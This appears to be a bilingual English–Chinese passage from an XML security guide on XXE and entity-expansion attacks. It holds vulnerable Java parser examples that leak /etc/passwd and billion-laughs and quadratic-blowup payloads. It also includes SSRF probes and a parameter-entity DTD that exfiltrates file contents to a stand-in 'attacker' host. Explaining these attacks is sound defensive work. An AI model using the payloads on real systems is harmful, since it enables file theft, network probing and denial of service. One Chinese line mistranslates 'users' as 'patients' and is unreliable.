When third parties host and define schemas, the contents are not under the control of the schemas' users. Any modifications introduced by a malicious employee-or an external attacker in control of these files-could impact all users processing the schemas. Subsequently, attackers could affect the confidentiality, integrity, or availability of other services (especially if the schema in use is DTD).
当第三方托管和定义模式时,内容不受模式用户的控制。任何由恶意员工或控制这些文件的外部攻击者引入的修改都可能影响所有处理这些模式的患者。随后,攻击者可能会影响其他服务的机密性、完整性和可用性(特别是如果使用的模式是 DTD)。
XML Entity Expansion / XML实体扩展¶
**If the parser uses a DTD, an attacker might inject data that may adversely affect the XML parser during document processing. These adverse effects could include the parser crashing or accessing local files.
如果解析器使用 DTD,攻击者可能会注入可能在文档处理期间对XML解析器产生不利影响的数据。这些不利影响可能包括解析器崩溃或访问本地文件。
Sample Vulnerable Java Implementations / 易受攻击的Java实现示例¶
Using the DTD capabilities of referencing local or remote files it is possible to affect file confidentiality. In addition, it is also possible to affect the availability of the resources if no proper restrictions have been set for the entities expansion. Consider the following example code of an XXE.
使用 DTD 的引用本地或远程文件的功能,可能会影响文件机密性。此外,如果没有为实体扩展设置适当的限制,还可能影响资源的可用性。考虑以下XXE的示例代码。
Sample XML:
示例XML:
<!DOCTYPE contacts SYSTEM "contacts.dtd">
<contacts>
<contact>
<firstname>John</firstname>
<lastname>&xxe;</lastname>
</contact>
</contacts>
Sample DTD:
示例DTD:
<!ELEMENT contacts (contact*)>
<!ELEMENT contact (firstname,lastname)>
<!ELEMENT firstname (#PCDATA)>
<!ELEMENT lastname ANY>
<!ENTITY xxe SYSTEM "/etc/passwd">
XXE using DOM / 使用DOM的XXE¶
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.InputSource;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
public class parseDocument {
public static void main(String[] args) {
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource("contacts.xml"));
NodeList nodeList = doc.getElementsByTagName("contact");
for (int s = 0; s < nodeList.getLength(); s++) {
Node firstNode = nodeList.item(s);
if (firstNode.getNodeType() == Node.ELEMENT_NODE) {
Element firstElement = (Element) firstNode;
NodeList firstNameElementList = firstElement.getElementsByTagName("firstname");
Element firstNameElement = (Element) firstNameElementList.item(0);
NodeList firstName = firstNameElement.getChildNodes();
System.out.println("First Name: " + ((Node) firstName.item(0)).getNodeValue());
NodeList lastNameElementList = firstElement.getElementsByTagName("lastname");
Element lastNameElement = (Element) lastNameElementList.item(0);
NodeList lastName = lastNameElement.getChildNodes();
System.out.println("Last Name: " + ((Node) lastName.item(0)).getNodeValue());
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
The previous code produces the following output:
前一段代码产生以下输出:
$ javac parseDocument.java ; java parseDocument
First Name: John
Last Name: ### User Database
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
XXE using DOM4J / 使用DOM4J的XXE¶
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.io.SAXReader;
import org.dom4j.io.OutputFormat;
import org.dom4j.io.XMLWriter;
public class test1 {
public static void main(String[] args) {
Document document = null;
try {
SAXReader reader = new SAXReader();
document = reader.read("contacts.xml");
} catch (Exception e) {
e.printStackTrace();
}
OutputFormat format = OutputFormat.createPrettyPrint();
try {
XMLWriter writer = new XMLWriter( System.out, format );
writer.write( document );
} catch (Exception e) {
e.printStackTrace();
}
}
}
The previous code produces the following output:
前一段代码产生以下输出:
$ java test1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE contacts SYSTEM "contacts.dtd">
<contacts>
<contact>
<firstname>John</firstname>
<lastname>### User Database
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
XXE using SAX / 使用SAX的XXE¶
import java.io.IOException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;
public class parseDocument extends DefaultHandler {
public static void main(String[] args) {
new parseDocument();
}
public parseDocument() {
try {
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse("contacts.xml", this);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void characters(char[] ac, int i, int j) throws SAXException {
String tmpValue = new String(ac, i, j);
System.out.println(tmpValue);
}
}
The previous code produces the following output:
前一段代码产生以下输出:
$ java parseDocument
John
#### User Database
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
XXE using StAX / 使用StAX的XXE¶
import javax.xml.parsers.SAXParserFactory;
import javax.xml.stream.XMLStreamReader;
import javax.xml.stream.XMLInputFactory;
import java.io.File;
import java.io.FileReader;
import java.io.FileInputStream;
public class parseDocument {
public static void main(String[] args) {
try {
XMLInputFactory xmlif = XMLInputFactory.newInstance();
FileReader fr = new FileReader("contacts.xml");
File file = new File("contacts.xml");
XMLStreamReader xmlfer = xmlif.createXMLStreamReader("contacts.xml",
new FileInputStream(file));
int eventType = xmlfer.getEventType();
while (xmlfer.hasNext()) {
eventType = xmlfer.next();
if(xmlfer.hasText()){
System.out.print(xmlfer.getText());
}
}
fr.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
The previous code produces the following output:
前一段代码产生以下输出:
$ java parseDocument
<!DOCTYPE contacts SYSTEM "contacts.dtd">John### User Database
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
Recursive Entity Reference / 递归实体引用¶
When the definition of an element A is another element B, and that element B is defined as element A, that schema describes a circular reference between elements:
当元素A的定义是另一个元素B,而元素B的定义又是元素A时,该模式描述了元素之间的循环引用:
<!DOCTYPE A [
<!ELEMENT A ANY>
<!ENTITY A "<A>&B;</A>">
<!ENTITY B "&A;">
]>
<A>&A;</A>
Quadratic Blowup / 二次膨胀¶
Instead of defining multiple small, deeply nested entities, the attacker in this scenario defines one very large entity and refers to it as many times as possible, resulting in a quadratic expansion (O(n^2)).
在此场景中,攻击者不是定义多个小型、深度嵌套的实体,而是定义一个非常大的实体,尽可能多地引用它,从而导致二次扩展(O(n^2))。
The result of the following attack will be 100,000 x 100,000 characters in memory.
以下攻击的结果将在内存中产生100,000 x 100,000个字符。
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY A "AAAAA...(a 100.000 A's)...AAAAA">
]>
<root>&A;&A;&A;&A;...(a 100.000 &A;'s)...&A;&A;&A;&A;&A;</root>
Billion Laughs / 十亿大笑攻击¶
When an XML parser tries to resolve the external entities included within the following code, it will cause the application to start consuming all of the available memory until the process crashes. This is an example XML document with an embedded DTD schema including the attack:
当XML解析器尝试解析以下代码中包含的外部实体时,它将导致应用程序开始消耗所有可用内存,直到进程崩溃。这是一个包含攻击的示例XML文档,其中嵌入了一个DTD模式:
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY LOL "LOL">
<!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">
<!ENTITY LOL2 "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
<!ENTITY LOL3 "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">
<!ENTITY LOL4 "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
<!ENTITY LOL5 "&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">
<!ENTITY LOL6 "&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">
<!ENTITY LOL7 "&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">
<!ENTITY LOL8 "&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">
<!ENTITY LOL9 "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">
]>
<root>&LOL9;</root>
The entity LOL9 will be resolved as the 10 entities defined in LOL8; then each of these entities will be resolved in LOL7 and so on. Finally, the CPU and/or memory will be affected by parsing the 3 x 10^9 (3,000,000,000) entities defined in this schema, which could make the parser crash.
实体LOL9将被解析为LOL8中定义的10个实体;然后这些实体将在LOL7中解析,依此类推。最后,由于解析该模式中定义的3 x 10^9(30亿)个实体,CPU和/或内存将受到影响,这可能导致解析器崩溃。
The Simple Object Access Protocol (SOAP) specification forbids DTDs completely. This means that a SOAP processor can reject any SOAP message that contains a DTD. Despite this specification, certain SOAP implementations did parse DTD schemas within SOAP messages.
简单对象访问协议(SOAP)规范完全禁止DTD。这意味着SOAP处理器可以拒绝任何包含DTD的SOAP消息。尽管有此规范,某些SOAP实现仍然在SOAP消息中解析DTD模式。
The following example illustrates a case where the parser is not following the specification, enabling a reference to a DTD in a SOAP message:
以下示例说明了解析器未遵循规范的情况,允许在SOAP消息中引用DTD:
<?XML VERSION="1.0" ENCODING="UTF-8"?>
<!DOCTYPE SOAP-ENV:ENVELOPE [
<!ELEMENT SOAP-ENV:ENVELOPE ANY>
<!ATTLIST SOAP-ENV:ENVELOPE ENTITYREFERENCE CDATA #IMPLIED>
<!ENTITY LOL "LOL">
<!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">
<!ENTITY LOL2 "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
<!ENTITY LOL3 "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">
<!ENTITY LOL4 "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
<!ENTITY LOL5 "&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">
<!ENTITY LOL6 "&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">
<!ENTITY LOL7 "&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">
<!ENTITY LOL8 "&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">
<!ENTITY LOL9 "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">
]>
<SOAP:ENVELOPE ENTITYREFERENCE="&LOL9;"
XMLNS:SOAP="HTTP://SCHEMAS.XMLSOAP.ORG/SOAP/ENVELOPE/">
<SOAP:BODY>
<KEYWORD XMLNS="URN:PARASOFT:WS:STORE">FOO</KEYWORD>
</SOAP:BODY>
</SOAP:ENVELOPE>
Reflected File Retrieval / 反射文件检索¶
Consider the following example code of an XXE:
考虑以下XXE的示例代码:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
<!ELEMENT includeme ANY>
<!ENTITY xxe SYSTEM "/etc/passwd">
]>
<root>&xxe;</root>
The previous XML defines an entity named xxe, which is in fact the contents of /etc/passwd, which will be expanded within the includeme tag. If the parser allows references to external entities, it might include the contents of that file in the XML response or in the error output.
之前的 XML 定义了一个名为 xxe 的实体,实际上它是 /etc/passwd 的内容,将在 includeme 标签内展开。如果解析器允许引用外部实体,它可能会将该文件的内容包含在 XML 响应或错误输出中。
Server Side Request Forgery / 服务器端请求伪造¶
Server Side Request Forgery (SSRF) happens when the server receives a malicious XML schema, which makes the server retrieve remote resources such as a file via HTTP/HTTPS/FTP, etc. SSRF has been used to retrieve remote files, to prove a XXE when you cannot reflect back the file or perform port scanning, or perform brute force attacks on internal networks.
当服务器接收到恶意的 XML 架构时,就会发生服务器端请求伪造 (SSRF)。这会使服务器通过 HTTP/HTTPS/FTP 等方式检索远程资源,如文件。 SSRF 被用于检索远程文件,当无法反射文件或执行端口扫描,或对内部网络进行暴力攻击时,可以用来证明 XXE 的存在。
External DNS Resolution / 外部 DNS 解析¶
Sometimes it is possible to induce the application to perform server-side DNS lookups of arbitrary domain names. This is one of the simplest forms of SSRF, but requires the attacker to analyze the DNS traffic. Burp has a plugin that checks for this attack.
有时可以诱导应用程序执行对任意域名进行的服务器端 DNS 查询。 这是最简单形式的 SSRF 之一,但需要攻击者分析 DNS 流量。Burp 有一个插件可以检查这种攻击。
<!DOCTYPE m PUBLIC "-//B/A/EN" "http://checkforthisspecificdomain.example.com">
External Connection / 外部连接¶
Whenever there is an XXE and you cannot retrieve a file, you can test if you would be able to establish remote connections:
当存在 XXE 且无法检索文件时,您可以测试是否能够建立远程连接:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://attacker/evil.dtd">
%xxe;
]>
File Retrieval with Parameter Entities / 使用参数实体检索文件¶
Parameter entities allows for the retrieval of content using URL references. Consider the following malicious XML document:
参数实体允许通过URL引用检索内容。考虑以下恶意XML文档:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker/evil.dtd">
%dtd;
]>
<root>&send;</root>
Here the DTD defines two external parameter entities: file loads a local file, and dtd which loads a remote DTD. The remote DTD should contain something like this:
在这里,DTD 定义了两个外部参数实体:file 加载本地文件,而 dtd 加载远程 DTD。远程 DTD 应该包含类似以下内容:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://example.com/?%file;'>">
%all;
The second DTD causes the system to send the contents of the file back to the attacker's server as a parameter of the URL.
第二个 DTD 会导致系统将 file 的内容作为URL的参数发送给攻击者的服务器。
Port Scanning / 端口扫描¶
The amount and type of information generated by port scanning will depend on the type of implementation. Responses can be classified as follows, ranking from easy to complex:
端口扫描生成信息和类型取决于实现方式。响应可以分为以下几类,从简单到复杂:
1) Complete Disclosure: This is the simplest and most unusual scenario, with complete disclosure you can clearly see what's going on by receiving the complete responses from the server being queried. You have an exact representation of what happened when connecting to the remote host.
1) 完全披露:这是最简单且最不寻常的情况,在完全披露的情况下,你可以通过接收被查询服务器的完整响应清楚地看到发生了什么。你可以看到连接到远程主机时发生的事情的精确表示。
2) Error-based: If you are unable to see the response from the remote server, you may be able to use the information generated by the error response. Consider a web service leaking details on what went wrong in the SOAP Fault element when trying to establish a connection:
2) 错误基础:如果你看不到远程服务器的响应,你可能能够使用错误响应生成的信息。考虑一个Web服务在尝试建立连接时,在SOAP Fault元素中泄露了错误的详细信息:
java.io.IOException: Server returned HTTP response code: 401 for URL: http://192.168.1.1:80
at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1459)
at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:674)
3) Timeout-based: The scanner could generate timeouts when it connects to open or closed ports depending on the schema and the underlying implementation. If the timeouts occur while you are trying to connect to a closed port (which may take one minute), the time of response when connected to a valid port will be very quick (one second, for example). The differences between open and closed ports becomes quite clear.
3) 超时基础:扫描器在连接到开放或关闭端口时可能会生成超时,这取决于模式和底层实现。如果你在尝试连接到关闭端口时发生超时(可能需要一分钟),连接到有效端口时的响应时间将非常快(例如一秒)。开放端口和关闭端口之间的差异变得非常明显。
4) Time-based: Sometimes it may be difficult to tell the differences between closed and open ports because the results are very subtle. The only way to know the status of a port with certainty would be to take multiple measurements of the time required to reach each host, then you should analyze the average time for each port to determinate the status of each port. This type of attack will be difficult to accomplish if it is performed in higher latency networks.
4) 基于时间的:有时可能难以区分关闭和开放的端口,因为结果非常微妙。确定端口状态的唯一方法是对每个主机到达所需的时间进行多次测量,然后你应该分析每个端口的平均时间来确定每个端口的状况。如果在高延迟网络中执行,此类攻击将难以完成。
Brute Forcing / 暴力破解¶
Once an attacker confirms that it is possible to perform a port scan, performing a brute force attack is a matter of embedding the username and password as part of the URI scheme (http, ftp, etc). For example, see the following example:
一旦攻击者确认可以进行端口扫描,执行暴力破解攻击就变成了将用户名和密码嵌入到URI方案(http、ftp等)中。例如,请参见以下示例:
<!DOCTYPE root [
<!ENTITY user SYSTEM "http://username:password@example.com:8080">
]>
<root>&user;</root>
References / 参考¶
- W3C: Extensible Markup Language (XML) 1.0) (W3C:可扩展标记语言(XML)1.0)
- W3C: XML Schema Definition Language (XSD) 1.1, Part 2 — Datatypes) (W3C:XML模式定义语言(XSD)1.1,第二部分——数据类型)
- Oracle Java 25: JAXP Security Guide) (Oracle Java 25: JAXP 安全指南)